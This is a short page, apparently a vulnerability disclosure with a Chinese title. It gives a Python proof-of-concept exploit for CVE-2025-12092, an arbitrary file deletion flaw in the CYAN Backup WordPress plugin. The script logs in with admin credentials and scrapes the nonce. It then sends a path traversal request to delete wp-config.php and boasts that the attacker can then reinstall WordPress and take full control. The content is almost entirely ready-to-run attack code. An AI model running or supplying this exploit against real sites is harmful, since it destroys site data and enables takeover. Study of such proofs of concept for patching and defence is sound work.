CVE-2025-12092 CYAN Backup WordPress插件任意文件删除漏洞

import requests import re # CVE-2025-12092 PoC - CYAN Backup Arbitrary File Deletion # Target: WordPress site with CYAN Backup plugin <= 2.5.4 # Authentication: Administrator privileges required target_url = "http://target-wordpress-site.com" username = "admin" password = "password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Access CYAN Backup plugin page backup_page_url = f"{target_url}/wp-admin/admin.php?page=cyan-backup" response = session.get(backup_page_url) # Step 3: Extract nonce for backup deletion # In real attack, attacker would intercept the request and modify the file path nonce_pattern = r'name="_wpnonce" value="([a-z0-9]+)"' nonce = re.search(nonce_pattern, response.text).group(1) # Step 4: Delete arbitrary file (e.g., wp-config.php) # Using path traversal to target wp-config.php delete_url = f"{target_url}/wp-admin/admin.php?page=cyan-backup" target_file = "../../../../wp-config.php" # Path traversal attack delete_data = { "_wpnonce": nonce, "action": "delete", "file": target_file, "_wp_http_referer": backup_page_url } # Send malicious deletion request result = session.post(delete_url, data=delete_data) if "deleted" in result.text.lower() or result.status_code == 200: print("[+] wp-config.php has been deleted successfully") print("[+] Attacker can now reinstall WordPress and gain full control") else: print("[-] Exploitation failed - file may not exist or access denied")